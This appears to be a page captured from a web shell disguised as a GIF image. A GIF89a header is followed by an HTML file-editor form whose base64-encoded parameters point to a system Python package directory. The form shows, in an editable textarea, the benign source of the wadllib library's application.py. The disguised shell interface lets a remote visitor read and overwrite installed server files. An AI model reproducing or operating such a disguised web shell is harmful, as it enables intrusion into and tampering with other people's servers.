GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>application.py<form method=post action="?d=L3Vzci9saWIvcHl0aG9uMy9kaXN0LXBhY2thZ2VzL3dhZGxsaWI%3D&f=YXBwbGljYXRpb24ucHk%3D"><input name="f" value="application.py"><textarea name="t"># Copyright 2008-2018 Canonical Ltd.  All rights reserved.

# This file is part of wadllib.
#
# wadllib is free software: you can redistribute it and/or modify it under the
# terms of the GNU Lesser General Public License as published by the Free
# Software Foundation, version 3 of the License.
#
# wadllib is distributed in the hope that it will be useful, but WITHOUT ANY
# WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more
# details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with wadllib. If not, see &lt;http://www.gnu.org/licenses/&gt;.

&quot;&quot;&quot;Navigate the resources exposed by a web service.

The wadllib library helps a web client navigate the resources
exposed by a web service. The service defines its resources in a
single WADL file. wadllib parses this file and gives access to the
resources defined inside. The client code can see the capabilities of
a given resource and make the corresponding HTTP requests.

If a request returns a representation of the resource, the client can
bind the string representation to the wadllib Resource object.
&quot;&quot;&quot;

__metaclass__ = type

__all__ = [
    'Application',
    'Link',
    'Method',
    'NoBoundRepresentationError',
    'Parameter',
    'RepresentationDefinition',
    'ResponseDefinition',
    'Resource',
    'ResourceType',
    'WADLError',
    ]

import datetime
from email.utils import quote
import io
import json
import random
import re
import sys
import time
try:
    from urllib.parse import urlencode
except ImportError:
    from urllib import urlencode
try:
    import xml.etree.cElementTree as ET
except ImportError:
    import xml.etree.ElementTree as ET

from lazr.uri import URI, merge

from wadllib import (
    _make_unicode,
    _string_types,
    )
from wadllib.iso_strptime import iso_strptime

NS_MAP = &quot;xmlns:map&quot;
XML_SCHEMA_NS_URI = 'http://www.w3.org/2001/XMLSchema'

def wadl_tag(tag_name):
    &quot;&quot;&quot;Scope a tag name with the WADL namespace.&quot;&quot;&quot;
    return '{http://research.sun.com/wadl/2006/10}' + tag_name


def wadl_xpath(tag_name):
    &quot;&quot;&quot;Turn a tag name into an XPath path.&quot;&quot;&quot;
    return './' + wadl_tag(tag_name)


def _merge_dicts(*dicts):
    &quot;&quot;&quot;Merge any number of dictionaries, some of which may be None.&quot;&quot;&quot;
    final = {}
    for dict in dicts:
        if dict is not None:
            final.update(dict)
    return final


class WADLError(Exception):
    &quot;&quot;&quot;An exception having to do with the state of the WADL application.&quot;&quot;&quot;
    pass


class NoBoundRepresentationError(WADLError):
    &quot;&quot;&quot;An unbound resource was used where wadllib expected a bound resource.

    To obtain the value of a resource's parameter, you first must bind
    the resource to a representation. Otherwise the resource has no
    idea what the value is and doesn't even know if you've given it a
    parameter name that makes sense.
    &quot;&quot;&quot;


class UnsupportedMediaTypeError(WADLError):
    &quot;&quot;&quot;A media type was given that's not supported in this context.

    A resource can only be bound to media types it has representations
    of.
    &quot;&quot;&quot;


class WADLBase(object):
    &quot;&quot;&quot;A base class for objects that contain WADL-derived information.&quot;&quot;&quot;


class HasParametersMixin:
    &quot;&quot;&quot;A mixin class for objects that have associated Parameter objects.&quot;&quot;&quot;

    def params(self, styles, resource=None):
        &quot;&quot;&quot;Find subsidiary parameters that have the given styles.&quot;&quot;&quot;
        if resource is None:
            resource = self.resource
        if resource is None:
            raise ValueError(&quot;Could not find any particular resource&quot;)
        if self.tag is None:
            return []
        param_tags = self.tag.findall(wadl_xpath('param'))
        if param_tags is None:
            return []
        return [Parameter(resource, param_tag)
                for param_tag in param_tags
                if param_tag.attrib.get('style') in styles]

    def validate_param_values(self, params, param_values,
                              enforce_completeness=True, **kw_param_values):
        &quot;&quot;&quot;Make sure the given valueset is valid.

        A valueset might be invalid because it contradicts a fixed
        value or (if enforce_completeness is True) because it lacks a
        required value.

        :param params: A list of Parameter objects.
        :param param_values: A dictionary of parameter values. May include
           paramters whose names are not valid Python identifiers.
        :param enforce_completeness: If True, this method will raise
           an exception when the given value set lacks a value for a
           required parameter.
        :param kw_param_values: A dictionary of parameter values.
        :return: A dictionary of validated parameter values.
        &quot;&quot;&quot;
        param_values = _merge_dicts(param_values, kw_param_values)
        validated_values = {}
        for param in params:
            name = param.name
            if param.fixed_value is not None:
                if (name in param_values
                    and param_values[name] != param.fixed_value):
                    raise ValueError((&quot;Value '%s' for parameter '%s' &quot;
                                      &quot;conflicts with fixed value '%s'&quot;)
                                     % (param_values[name], name,
                                        param.fixed_value))
                param_values[name] = param.fixed_value
            options = [option.value for option in param.options]
            if (len(options) &gt; 0 and name in param_values
                and param_values[name] not in options):
                raise ValueError((&quot;Invalid value '%s' for parameter '%s': &quot;
                                  'valid values are: &quot;%s&quot;') % (
                        param_values[name], name, '&quot;, &quot;'.join(options)))
            if (enforce_completeness and param.is_required
                and not name in param_values):
                raise ValueError(&quot;No value for required parameter '%s'&quot;
                                 % name)
            if name in param_values:
                validated_values[name] = param_values[name]
                del param_values[name]
        if len(param_values) &gt; 0:
            raise ValueError(&quot;Unrecognized parameter(s): '%s'&quot;
                             % &quot;', '&quot;.join(param_values.keys()))
        return validated_values


class WADLResolvableDefinition(WADLBase):
    &quot;&quot;&quot;A base class for objects whose definitions may be references.&quot;&quot;&quot;

    def __init__(self, application):
        &quot;&quot;&quot;Initialize with a WADL application.

        :param application: A WADLDefinition. Relative links are
            assumed to be relative to this object's URL.
        &quot;&quot;&quot;
        self._definition = None
        self.application = application

    def resolve_definition(self):
        &quot;&quot;&quot;Return the definition of this object, wherever it is.

        Resource is a good example. A WADL &lt;resource&gt; tag
        may contain a large number of nested tags describing a
        resource, or it may just contain a 'type' attribute that
        references a &lt;resource_type&gt; which contains those same
        tags. Resource.resolve_definition() will return the original
        Resource object in the first case, and a
        ResourceType object in the second case.
        &quot;&quot;&quot;
        if self._definition is not None:
            return self._definition
        object_url = self._get_definition_url()
        if object_url is None:
            # The object contains its own definition.
            # XXX leonardr 2008-05-28:
            # This code path is not tested in Launchpad.
            self._definition = self
            return self
        # The object makes reference to some other object. Resolve
        # its URL and return it.
        xml_id = self.application.lookup_xml_id(object_url)
        definition = self._definition_factory(xml_id)
        if definition is None:
            # XXX leonardr 2008-06-
            # This code path is not tested in Launchpad.
            # It requires an invalid WADL file that makes
            # a reference to a nonexistent tag within the
            # same WADL file.
            raise KeyError('No such XML ID: &quot;%s&quot;' % object_url)
        self._definition = definition
        return definition

    def _definition_factory(self, id):
        &quot;&quot;&quot;Transform an XML ID into a wadllib wrapper object.

        Which kind of object it is depends on the subclass.
        &quot;&quot;&quot;
        raise NotImplementedError()

    def _get_definition_url(self):
        &quot;&quot;&quot;Find the URL that identifies an external reference.

        How to do this depends on the subclass.
        &quot;&quot;&quot;
        raise NotImplementedError()


class Resource(WADLResolvableDefinition):
    &quot;&quot;&quot;A resource, possibly bound to a representation.&quot;&quot;&quot;

    def __init__(self, application, url, resource_type,
                 representation=None, media_type=None,
                 representation_needs_processing=True,
                 representation_definition=None):
        &quot;&quot;&quot;
        :param application: A WADLApplication.
        :param url: The URL to this resource.
        :param resource_type: An ElementTree &lt;resource&gt; or &lt;resource_type&gt; tag.
        :param representation: A string representation.
        :param media_type: The media type of the representation.
        :param representation_needs_processing: Set to False if the
            'representation' parameter should be used as
            is. Otherwise, it will be transformed from a string into
            an appropriate Python data structure, depending on its
            media type.
        :param representation_definition: A RepresentationDefinition
            object describing the structure of this
            representation. Used in cases when the representation
            isn't the result of sending a standard GET to the
            resource.
        &quot;&quot;&quot;
        super(Resource, self).__init__(application)
        self._url = url
        if isinstance(resource_type, _string_types):
            # We were passed the URL to a resource type. Look up the
            # type object itself
            self.tag = self.application.get_resource_type(resource_type).tag
        else:
            # We were passed an XML tag that describes a resource or
            # resource type.
            self.tag = resource_type

        self.representation = None
        if representation is not None:
            if media_type == 'application/json':
                if representation_needs_processing:
                    self.representation = json.loads(
                        _make_unicode(representation))
                else:
                    self.representation = representation
            else:
                raise UnsupportedMediaTypeError(
                    &quot;This resource doesn't define a representation for &quot;
                    &quot;media type %s&quot; % media_type)
        self.media_type = media_type
        if representation is not None:
            if representation_definition is not None:
                self.representation_definition = representation_definition
            else:
                self.representation_definition = (
                    self.get_representation_definition(self.media_type))

    @property
    def url(self):
        &quot;&quot;&quot;Return the URL to this resource.&quot;&quot;&quot;
        return self._url

    @property
    def type_url(self):
        &quot;&quot;&quot;Return the URL to the type definition for this resource, if any.&quot;&quot;&quot;
        if self.tag is None:
            return None
        url = self.tag.attrib.get('type')
        if url is not None:
            # This resource is defined in the WADL file.
            return url
        type_id = self.tag.attrib.get('id')
        if type_id is not None:
            # This resource was obtained by following a link.
            base = URI(self.application.markup_url).ensureSlash()
            return str(base) + '#' + type_id

        # This resource does not have any associated resource type.
        return None

    @property
    def id(self):
        &quot;&quot;&quot;Return the ID of this resource.&quot;&quot;&quot;
        return self.tag.attrib['id']

    def bind(self, representation, media_type='application/json',
             representation_needs_processing=True,
             representation_definition=None):
        &quot;&quot;&quot;Bind the resource to a representation of that resource.

        :param representation: A string representation
        :param media_type: The media type of the representation.
        :param representation_needs_processing: Set to False if the
            'representation' parameter should be used as
            is.
        :param representation_definition: A RepresentationDefinition
            object describing the structure of this
            representation. Used in cases when the representation
            isn't the result of sending a standard GET to the
            resource.
        :return: A Resource bound to a particular representation.
        &quot;&quot;&quot;
        return Resource(self.application, self.url, self.tag,
                        representation, media_type,
                        representation_needs_processing,
                        representation_definition)

    def get_representation_definition(self, media_type):
        &quot;&quot;&quot;Get a description of one of this resource's representations.&quot;&quot;&quot;
        default_get_response = self.get_method('GET').response
        for representation in default_get_response:
            representation_tag = representation.resolve_definition().tag
            if representation_tag.attrib.get('mediaType') == media_type:
                return representation
        raise UnsupportedMediaTypeError(&quot;No definition for representation &quot;
                                        &quot;with media type %s.&quot; % media_type)

    def get_method(self, http_method=None, media_type=None, query_params=None,
                   representation_params=None):
        &quot;&quot;&quot;Look up one of this resource's methods by HTTP method.

        :param http_method: The HTTP method used to invoke the desired
                            method. Case-insensitive and optional.

        :param media_type: The media type of the representation
                           accepted by the method. Optional.

        :param query_params: The names and values of any fixed query
                             parameters used to distinguish between
                             two methods that use the same HTTP
                             method. Optional.

        :param representation_params: The names and values of any
                             fixed representation parameters used to
                             distinguish between two methods that use
                             the same HTTP method and have the same
                             media type. Optional.

        :return: A MethodDefinition, or None if there's no definition
                  that fits the given constraints.
        &quot;&quot;&quot;
        for method_tag in self._method_tag_iter():
            name = method_tag.attrib.get('name', '').lower()
            if http_method is None or name == http_method.lower():
                method = Method(self, method_tag)
                if method.is_described_by(media_type, query_params,
                                          representation_params):
                    return method
        return None

    def parameters(self, media_type=None):
        &quot;&quot;&quot;A list of this resource's parameters.

        :param media_type: Media type of the representation definition
            whose parameters are being named. Must be present unless
            this resource is bound to a representation.

        :raise NoBoundRepresentationError: If this resource is not
            bound to a representation and media_type was not provided.
        &quot;&quot;&quot;
        return self._find_representation_definition(
            media_type).params(self)

    def parameter_names(self, media_type=None):
        &quot;&quot;&quot;A list naming this resource's parameters.

        :param media_type: Media type of the representation definition
            whose parameters are being named. Must be present unless
            this resource is bound to a representation.

        :raise NoBoundRepresentationError: If this resource is not
            bound to a representation and media_type was not provided.
        &quot;&quot;&quot;
        return self._find_representation_definition(
            media_type).parameter_names(self)

    @property
    def method_iter(self):
        &quot;&quot;&quot;An iterator over the methods defined on this resource.&quot;&quot;&quot;
        for method_tag in self._method_tag_iter():
            yield Method(self, method_tag)

    def get_parameter(self, param_name, media_type=None):
        &quot;&quot;&quot;Find a parameter within a representation definition.

        :param param_name: Name of the parameter to find.

        :param media_type: Media type of the representation definition
            whose parameters are being named. Must be present unless
            this resource is bound to a representation.

        :raise NoBoundRepresentationError: If this resource is not
            bound to a representation and media_type was not provided.
        &quot;&quot;&quot;
        definition = self._find_representation_definition(media_type)
        representation_tag = definition.tag
        for param_tag in representation_tag.findall(wadl_xpath('param')):
            if param_tag.attrib.get('name') == param_name:
                return Parameter(self, param_tag)
        return None

    def get_parameter_value(self, parameter):
        &quot;&quot;&quot;Find the value of a parameter, given the Parameter object.

        :raise ValueError: If the parameter value can't be converted into
        its defined type.
        &quot;&quot;&quot;

        if self.representation is None:
            raise NoBoundRepresentationError(
                &quot;Resource is not bound to any representation.&quot;)
        if self.media_type == 'application/json':
            # XXX leonardr 2008-05-28 A real JSONPath implementation
            # should go here. It should execute tag.attrib['path']
            # against the JSON representation.
            #
            # Right now the implementation assumes the JSON
            # representation is a hash and treats tag.attrib['name'] as a
            # key into the hash.
            if parameter.style != 'plain':
                raise NotImplementedError(
                    &quot;Don't know how to find value for a parameter of &quot;
                    &quot;type %s.&quot; % parameter.style)
            value = self.representation[parameter.name]
            if value is not None:
                namespace_url, data_type = self._dereference_namespace(
                    parameter.tag, parameter.type)
                if (namespace_url == XML_SCHEMA_NS_URI
                    and data_type in ['dateTime', 'date']):
                    try:
                        # Parse it as an ISO 8601 date and time.
                        value = iso_strptime(value)
                    except ValueError:
                        # Parse it as an ISO 8601 date.
                        try:
                            value = datetime.datetime(
                                *(time.strptime(value, &quot;%Y-%m-%d&quot;)[0:6]))
                        except ValueError:
                            # Raise an unadorned ValueError so the client
                            # can treat the value as a string if they
                            # want.
                            raise ValueError(value)
            return value

        raise NotImplementedError(&quot;Path traversal not implemented for &quot;
                                  &quot;a representation of media type %s.&quot;
                                  % self.media_type)


    def _dereference_namespace(self, tag, value):
        &quot;&quot;&quot;Splits a value into namespace URI and value.

        :param tag: A tag to use as context when mapping namespace
        names to URIs.
        &quot;&quot;&quot;
        if value is not None and ':' in value:
            namespace, value = value.split(':', 1)
        else:
            namespace = ''
        ns_map = tag.get(NS_MAP)
        namespace_url = ns_map.get(namespace, None)
        return namespace_url, value

    def _definition_factory(self, id):
        &quot;&quot;&quot;Given an ID, find a ResourceType for that ID.&quot;&quot;&quot;
        return self.application.resource_types.get(id)

    def _get_definition_url(self):
        &quot;&quot;&quot;Return the URL that shows where a resource is 'really' defined.

        If a resource's capabilities are defined by reference, the
        &lt;resource&gt; tag's 'type' attribute will contain the URL to the
        &lt;resource_type&gt; that defines them.
        &quot;&quot;&quot;
        return self.tag.attrib.get('type')

    def _find_representation_definition(self, media_type=None):
        &quot;&quot;&quot;Get the most appropriate representation definition.

        If media_type is provided, the most appropriate definition is
        the definition of the representation of that media type.

        If this resource is bound to a representation, the most
        appropriate definition is the definition of that
        representation. Otherwise, the most appropriate definition is
        the definition of the representation served in response to a
        standard GET.

        :param media_type: Media type of the definition to find. Must
            be present unless the resource is bound to a
            representation.

        :raise NoBoundRepresentationError: If this resource is not
            bound to a representation and media_type was not provided.

        :return: A RepresentationDefinition
        &quot;&quot;&quot;
        if self.representation is not None:
            # We know that when this object was created, a
            # representation definition was either looked up, or
            # directly passed in along with the representation.
            definition = self.representation_definition.resolve_definition()
        elif media_type is not None:
            definition = self.get_representation_definition(media_type)
        else:
            raise NoBoundRepresentationError(
                &quot;Resource is not bound to any representation, and no media &quot;
                &quot;media type was specified.&quot;)
        return definition.resolve_definition()


    def _method_tag_iter(self):
        &quot;&quot;&quot;Iterate over this resource's &lt;method&gt; tags.&quot;&quot;&quot;
        definition = self.resolve_definition().tag
        for method_tag in definition.findall(wadl_xpath('method')):
            yield method_tag


class Method(WADLBase):
    &quot;&quot;&quot;A wrapper around an XML &lt;method&gt; tag.
    &quot;&quot;&quot;
    def __init__(self, resource, method_tag):
        &quot;&quot;&quot;Initialize with a &lt;method&gt; tag.

        :param method_tag: An ElementTree &lt;method&gt; tag.
        &quot;&quot;&quot;
        self.resource = resource
        self.application = self.resource.application
        self.tag = method_tag

    @property
    def request(self):
        &quot;&quot;&quot;Return the definition of a request that invokes the WADL method.&quot;&quot;&quot;
        return RequestDefinition(self, self.tag.find(wadl_xpath('request')))

    @property
    def response(self):
        &quot;&quot;&quot;Return the definition of the response to the WADL method.&quot;&quot;&quot;
        return ResponseDefinition(self.resource,
                                  self.tag.find(wadl_xpath('response')))

    @property
    def id(self):
        &quot;&quot;&quot;The XML ID of the WADL method definition.&quot;&quot;&quot;
        return self.tag.attrib.get('id')

    @property
    def name(self):
        &quot;&quot;&quot;The name of the WADL method definition.

        This is also the name of the HTTP method (GET, POST, etc.)
        that should be used to invoke the WADL method.
        &quot;&quot;&quot;
        return self.tag.attrib.get('name').lower()

    def build_request_url(self, param_values=None, **kw_param_values):
        &quot;&quot;&quot;Return the request URL to use to invoke this method.&quot;&quot;&quot;
        return self.request.build_url(param_values, **kw_param_values)

    def build_representation(self, media_type=None,
                             param_values=None, **kw_param_values):
        &quot;&quot;&quot;Build a representation to be sent when invoking this method.

        :return: A 2-tuple of (media_type, representation).
        &quot;&quot;&quot;
        return self.request.representation(
            media_type, param_values, **kw_param_values)

    def is_described_by(self, media_type=None, query_values=None,
                        representation_values=None):
        &quot;&quot;&quot;Returns true if this method fits the given constraints.

        :param media_type: The method must accept this media type as a
                           representation.

        :param query_values: These key-value pairs must be acceptable
                           as values for this method's query
                           parameters. This need not be a complete set
                           of parameters acceptable to the method.

        :param representation_values: These key-value pairs must be
                           acceptable as values for this method's
                           representation parameters. Again, this need
                           not be a complete set of parameters
                           acceptable to the method.
        &quot;&quot;&quot;
        representation = None
        if media_type is not None:
            representation = self.request.get_representation_definition(
                media_type)
            if representation is None:
                return False

        if query_values is not None and len(query_values) &gt; 0:
            request = self.request
            if request is None:
                # This method takes no special request
                # parameters, so it can't match.
                return False
            try:
                request.validate_param_values(
                    request.query_params, query_values, False)
            except ValueError:
                return False

        # At this point we know the media type and query values match.
        if (representation_values is None
            or len(representation_values) == 0):
            return True

        if representation is not None:
            return representation.is_described_by(
                representation_values)
        for representation in self.request.representations:
            try:
                representation.validate_param_values(
                    representation.params(self.resource),
                    representation_values, False)
                return True
            except ValueError:
                pass
        return False


class RequestDefinition(WADLBase, HasParametersMixin):
    &quot;&quot;&quot;A wrapper around the description of the request invoking a method.&quot;&quot;&quot;
    def __init__(self, method, request_tag):
        &quot;&quot;&quot;Initialize with a &lt;request&gt; tag.

        :param resource: The resource to which this request can be sent.
        :param request_tag: An ElementTree &lt;request&gt; tag.
        &quot;&quot;&quot;
        self.method = method
        self.resource = self.method.resource
        self.application = self.resource.application
        self.tag = request_tag

    @property
    def query_params(self):
        &quot;&quot;&quot;Return the query parameters for this method.&quot;&quot;&quot;
        return self.params(['query'])

    @property
    def representations(self):
        for definition in self.tag.findall(wadl_xpath('representation')):
            yield RepresentationDefinition(
                self.application, self.resource, definition)

    def get_representation_definition(self, media_type=None):
        &quot;&quot;&quot;Return the appropriate representation definition.&quot;&quot;&quot;
        for representation in self.representations:
            if media_type is None or representation.media_type == media_type:
                return representation
        return None

    def representation(self, media_type=None, param_values=None,
                       **kw_param_values):
        &quot;&quot;&quot;Build a representation to be sent along with this request.

        :return: A 2-tuple of (media_type, representation).
        &quot;&quot;&quot;
        definition = self.get_representation_definition(media_type)
        if definition is None:
            raise TypeError(&quot;Cannot build representation of media type %s&quot;
                            % media_type)
        return definition.bind(param_values, **kw_param_values)

    def build_url(self, param_values=None, **kw_param_values):
        &quot;&quot;&quot;Return the request URL to use to invoke this method.&quot;&quot;&quot;
        validated_values = self.validate_param_values(
            self.query_params, param_values, **kw_param_values)
        url = self.resource.url
        if len(validated_values) &gt; 0:
            if '?' in url:
                append = '&amp;'
            else:
                append = '?'
            url += append + urlencode(sorted(validated_values.items()))
        return url


class ResponseDefinition(HasParametersMixin):
    &quot;&quot;&quot;A wrapper around the description of a response to a method.&quot;&quot;&quot;

    # XXX leonardr 2008-05-29 it would be nice to have
    # ResponseDefinitions for POST operations and nonstandard GET
    # operations say what representations and/or status codes you get
    # back. Getting this to work with Launchpad requires work on the
    # Launchpad side.
    def __init__(self, resource, response_tag, headers=None):
        &quot;&quot;&quot;Initialize with a &lt;response&gt; tag.

        :param response_tag: An ElementTree &lt;response&gt; tag.
        &quot;&quot;&quot;
        self.application = resource.application
        self.resource = resource
        self.tag = response_tag
        self.headers = headers

    def __iter__(self):
        &quot;&quot;&quot;Get an iterator over the representation definitions.

        These are the representations returned in response to an
        invocation of this method.
        &quot;&quot;&quot;
        path = wadl_xpath('representation')
        for representation_tag in self.tag.findall(path):
            yield RepresentationDefinition(
                self.resource.application, self.resource, representation_tag)

    def bind(self, headers):
        &quot;&quot;&quot;Bind the response to a set of HTTP headers.

        A WADL response can have associated header parameters, but no
        other kind.
        &quot;&quot;&quot;
        return ResponseDefinition(self.resource, self.tag, headers)

    def get_parameter(self, param_name):
        &quot;&quot;&quot;Find a header parameter within the response.&quot;&quot;&quot;
        for param_tag in self.tag.findall(wadl_xpath('param')):
            if (param_tag.attrib.get('name') == param_name
                and param_tag.attrib.get('style') == 'header'):
                return Parameter(self, param_tag)
        return None

    def get_parameter_value(self, parameter):
        &quot;&quot;&quot;Find the value of a parameter, given the Parameter object.&quot;&quot;&quot;
        if self.headers is None:
            raise NoBoundRepresentationError(
                &quot;Response object is not bound to any headers.&quot;)
        if parameter.style != 'header':
            raise NotImplementedError(
                &quot;Don't know how to find value for a parameter of &quot;
                &quot;type %s.&quot; % parameter.style)
        return self.headers.get(parameter.name)

    def get_representation_definition(self, media_type):
        &quot;&quot;&quot;Get one of the possible representations of the response.&quot;&quot;&quot;
        if self.tag is None:
            return None
        for representation in self:
            if representation.media_type == media_type:
                return representation
        return None


class RepresentationDefinition(WADLResolvableDefinition, HasParametersMixin):
    &quot;&quot;&quot;A definition of the structure of a representation.&quot;&quot;&quot;

    def __init__(self, application, resource, representation_tag):
        super(RepresentationDefinition, self).__init__(application)
        self.resource = resource
        self.tag = representation_tag

    def params(self, resource):
        return super(RepresentationDefinition, self).params(
            ['query', 'plain'], resource)

    def parameter_names(self, resource):
        &quot;&quot;&quot;Return the names of all parameters.&quot;&quot;&quot;
        return [param.name for param in self.params(resource)]

    @property
    def media_type(self):
        &quot;&quot;&quot;The media type of the representation described here.&quot;&quot;&quot;
        return self.resolve_definition().tag.attrib['mediaType']

    def _make_boundary(self, all_parts):
        &quot;&quot;&quot;Make a random boundary that does not appear in `all_parts`.&quot;&quot;&quot;
        _width = len(repr(sys.maxsize - 1))
        _fmt = '%%0%dd' % _width
        token = random.randrange(sys.maxsize)
        boundary = ('=' * 15) + (_fmt % token) + '=='
        if all_parts is None:
            return boundary
        b = boundary
        counter = 0
        while True:
            pattern = ('^--' + re.escape(b) + '(--)?$').encode('ascii')
            if not re.search(pattern, all_parts, flags=re.MULTILINE):
                break
            b = boundary + '.' + str(counter)
            counter += 1
        return b

    def _write_headers(self, buf, headers):
        &quot;&quot;&quot;Write MIME headers to a file object.&quot;&quot;&quot;
        for key, value in headers:
            buf.write(key.encode('UTF-8'))
            buf.write(b': ')
            buf.write(value.encode('UTF-8'))
            buf.write(b'\r\n')
        buf.write(b'\r\n')

    def _write_boundary(self, buf, boundary, closing=False):
        &quot;&quot;&quot;Write a multipart boundary to a file object.&quot;&quot;&quot;
        buf.write(b'--')
        buf.write(boundary.encode('UTF-8'))
        if closing:
            buf.write(b'--')
        buf.write(b'\r\n')

    def _generate_multipart_form(self, parts):
        &quot;&quot;&quot;Generate a multipart/form-data message.

        This is very loosely based on the email module in the Python standard
        library.  However, that module doesn't really support directly embedding
        binary data in a form: various versions of Python have mangled line
        separators in different ways, and none of them get it quite right.
        Since we only need a tiny subset of MIME here, it's easier to implement
        it ourselves.

        :return: a tuple of two elements: the Content-Type of the message, and
            the entire encoded message as a byte string.
        &quot;&quot;&quot;
        # Generate the subparts first so that we can calculate a safe boundary.
        encoded_parts = []
        for is_binary, name, value in parts:
            buf = io.BytesIO()
            if is_binary:
                ctype = 'application/octet-stream'
                # RFC 7578 says that the filename parameter isn't mandatory
                # in our case, but without it cgi.FieldStorage tries to
                # decode as text on Python 3.
                cdisp = 'form-data; name=&quot;%s&quot;; filename=&quot;%s&quot;' % (
                    quote(name), quote(name))
            else:
                ctype = 'text/plain; charset=&quot;utf-8&quot;'
                cdisp = 'form-data; name=&quot;%s&quot;' % quote(name)
            self._write_headers(buf, [
                ('MIME-Version', '1.0'),
                ('Content-Type', ctype),
                ('Content-Disposition', cdisp),
                ])
            if is_binary:
                if not isinstance(value, bytes):
                    raise TypeError('bytes payload expected: %s' % type(value))
                buf.write(value)
            else:
                if not isinstance(value, _string_types):
                    raise TypeError(
                        'string payload expected: %s' % type(value))
                lines = re.split(r'\r\n|\r|\n', value)
                for line in lines[:-1]:
                    buf.write(line.encode('UTF-8'))
                    buf.write(b'\r\n')
                buf.write(lines[-1].encode('UTF-8'))
            encoded_parts.append(buf.getvalue())

        # Create a suitable boundary.
        boundary = self._make_boundary(b'\r\n'.join(encoded_parts))

        # Now we can write the multipart headers, followed by all the parts.
        buf = io.BytesIO()
        ctype = 'multipart/form-data; boundary=&quot;%s&quot;' % quote(boundary)
        self._write_headers(buf, [
            ('MIME-Version', '1.0'),
            ('Content-Type', ctype),
            ])
        for encoded_part in encoded_parts:
            self._write_boundary(buf, boundary)
            buf.write(encoded_part)
            buf.write(b'\r\n')
        self._write_boundary(buf, boundary, closing=True)

        return ctype, buf.getvalue()

    def bind(self, param_values, **kw_param_values):
        &quot;&quot;&quot;Bind the definition to parameter values, creating a document.

        :return: A 2-tuple (media_type, document).
        &quot;&quot;&quot;
        definition = self.resolve_definition()
        params = definition.params(self.resource)
        validated_values = self.validate_param_values(
            params, param_values, **kw_param_values)
        media_type = self.media_type
        if media_type == 'application/x-www-form-urlencoded':
            doc = urlencode(sorted(validated_values.items()))
        elif media_type == 'multipart/form-data':
            parts = []
            missing = object()
            for param in params:
                value = validated_values.get(param.name, missing)
                if value is not missing:
                    parts.append((param.type == 'binary', param.name, value))
            media_type, doc = self._generate_multipart_form(parts)
        elif media_type == 'application/json':
            doc = json.dumps(validated_values)
        else:
            raise ValueError(&quot;Unsupported media type: '%s'&quot; % media_type)
        return media_type, doc

    def _definition_factory(self, id):
        &quot;&quot;&quot;Turn a representation ID into a RepresentationDefinition.&quot;&quot;&quot;
        return self.application.representation_definitions.get(id)

    def _get_definition_url(self):
        &quot;&quot;&quot;Find the URL containing the representation's 'real' definition.

        If a representation's structure is defined by reference, the
        &lt;representation&gt; tag's 'href' attribute will contain the URL
        to the &lt;representation&gt; that defines the structure.
        &quot;&quot;&quot;
        return self.tag.attrib.get('href')


class Parameter(WADLBase):
    &quot;&quot;&quot;One of the parameters of a representation definition.&quot;&quot;&quot;

    def __init__(self, value_container, tag):
        &quot;&quot;&quot;Initialize with respect to a value container.

        :param value_container: Usually the resource whose representation
            has this parameter. If the resource is bound to a representation,
            you'll be able to find the value of this parameter in the
            representation. This may also be a server response whose headers
            define a value for this parameter.
        :tag: The ElementTree &lt;param&gt; tag for this parameter.
        &quot;&quot;&quot;
        self.application = value_container.application
        self.value_container = value_container
        self.tag = tag

    @property
    def name(self):
        &quot;&quot;&quot;The name of this parameter.&quot;&quot;&quot;
        return self.tag.attrib.get('name')

    @property
    def style(self):
        &quot;&quot;&quot;The style of this parameter.&quot;&quot;&quot;
        return self.tag.attrib.get('style')

    @property
    def type(self):
        &quot;&quot;&quot;The XSD type of this parameter.&quot;&quot;&quot;
        return self.tag.attrib.get('type')

    @property
    def fixed_value(self):
        &quot;&quot;&quot;The value to which this parameter is fixed, if any.

        A fixed parameter must be present in invocations of a WADL
        method, and it must have a particular value. This is commonly
        used to designate one parameter as containing the name of the
        server-side operation to be invoked.
        &quot;&quot;&quot;
        return self.tag.attrib.get('fixed')

    @property
    def is_required(self):
        &quot;&quot;&quot;Whether or not a value for this parameter is required.&quot;&quot;&quot;
        return (self.tag.attrib.get('required', 'false').lower()
                in ['1', 'true'])

    def get_value(self):
        &quot;&quot;&quot;The value of this parameter in the bound representation/headers.

        :raise NoBoundRepresentationError: If this parameter's value
               container is not bound to a representation or a set of
               headers.
        &quot;&quot;&quot;
        return self.value_container.get_parameter_value(self)

    @property
    def options(self):
        &quot;&quot;&quot;Return the set of acceptable values for this parameter.&quot;&quot;&quot;
        return [Option(self, option_tag)
                for option_tag  in self.tag.findall(wadl_xpath('option'))]

    @property
    def link(self):
        &quot;&quot;&quot;Get the link to another resource.

        The link may be examined and, if its type is of a known WADL
        description, it may be followed.

        :return: A Link object, or None.
        &quot;&quot;&quot;
        link_tag = self.tag.find(wadl_xpath('link'))
        if link_tag is None:
            return None
        return Link(self, link_tag)

    @property
    def linked_resource(self):
        &quot;&quot;&quot;Follow a link from this parameter to a new resource.

        This only works for parameters whose WADL definition includes a
        &lt;link&gt; tag that points to a known WADL description.

        :return: A Resource object for the resource at the other end
        of the link.
        &quot;&quot;&quot;
        link = self.link
        if link is None:
            raise ValueError(&quot;This parameter isn't a link to anything.&quot;)
        return link.follow

class Option(WADLBase):
    &quot;&quot;&quot;One of a set of possible values for a parameter.&quot;&quot;&quot;

    def __init__(self, parameter, option_tag):
        &quot;&quot;&quot;Initialize the option.

        :param parameter: A Parameter.
        :param link_tag: An ElementTree &lt;option&gt; tag.
        &quot;&quot;&quot;
        self.parameter = parameter
        self.tag = option_tag

    @property
    def value(self):
        return self.tag.attrib.get('value')


class Link(WADLResolvableDefinition):
    &quot;&quot;&quot;A link from one resource to another.

    Calling resolve_definition() on a Link will give you a Resource for the
    type of resource linked to. An alias for this is 'follow'.
    &quot;&quot;&quot;

